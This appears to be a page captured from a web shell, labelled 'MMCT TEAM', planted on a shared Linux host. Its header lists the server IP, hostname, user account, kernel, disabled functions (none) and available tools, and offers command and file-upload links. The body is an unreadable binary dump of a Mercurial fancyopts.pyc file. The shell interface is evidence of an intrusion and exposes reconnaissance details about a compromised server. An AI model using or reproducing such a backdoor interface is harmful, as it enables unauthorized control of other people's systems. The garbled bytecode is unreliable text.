MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.234
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib64/python2.7/site-packages/mercurial/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib64/python2.7/site-packages/mercurial/fancyopts.pyc
�
Hq�Qc@sAddlZddlZddlmZd�Zed�ZdS(i����N(t_c
Csg}d|kr<|jd�}||d}|| }ntj|||�\}}g}x�|r�|jd�}|r�|ddkr�t|�dkr�|jd|�tj|||�\}}	||}|	}q`|j|�q`W|j|�||fS(s�Parse options mostly like getopt.gnu_getopt.

    This is different from getopt.gnu_getopt in that an argument of - will
    become an argument of - instead of vanishing completely.
    s--iit-(tindextgetopttpoptlentinserttappendtextend(
targstoptionstlongoptionst	extraargst	stopindextoptst	parseargstargttoptstnewparseargs((s9/usr/lib64/python2.7/site-packages/mercurial/fancyopts.pyt	gnugetopts"
	(
	
cCs�g}d}i}i}xB|D]:}t|�dkrO|\}	}
}}}
n|\}	}
}}|
}|
jdd�}
|
|d|	<|d|<|||
<t|t�r�|||
<n)t|dt�r�d||
<n
|||
<|dkp|tkp|tks0|	r|	d7}	n|r0|d7}q0n|	rC||	7}n|
r|j|�qqW|rlt	}n	t
j
}||||�\}}x)|D]!\}}||}
t||
�}|tt�kr�||
|�||
<q�|td	�kr?yt
|�||
<Wq�tk
r;tjtd
�||f��q�Xq�|td�kr^|||
<q�|tg�kr�||
j|�q�|td�ks�|tt�kr�t||
<q�q�W|S(s
    read args, parse options, and store options in state

    each option is a tuple of:

      short option or ''
      long option
      default value
      description
      option value label(optional)

    option types include:

      boolean or none - option sets variable in state to true
      string - parameter string is stored in state
      list - parameter string is added to a list
      integer - parameter strings is stored as int
      function - call function with parameter

    non-option args are returned
    tiRRs--t__call__t:t=is,invalid value %r for option %s, expected intN(Rtreplacet
isinstancetlisttgetattrtFalsetNonetTrueRRRttypet	fancyoptstintt
ValueErrortutiltAbortR(R	R
tstatetgnutnamelistt	shortlisttargmaptdefmaptoptiontshorttnametdefaulttcommenttdummytonametparseRtopttvaltt((s9/usr/lib64/python2.7/site-packages/mercurial/fancyopts.pyR %s`



$

		


$(RR#ti18nRRRR (((s9/usr/lib64/python2.7/site-packages/mercurial/fancyopts.pyt<module>s	

MMCT - 2023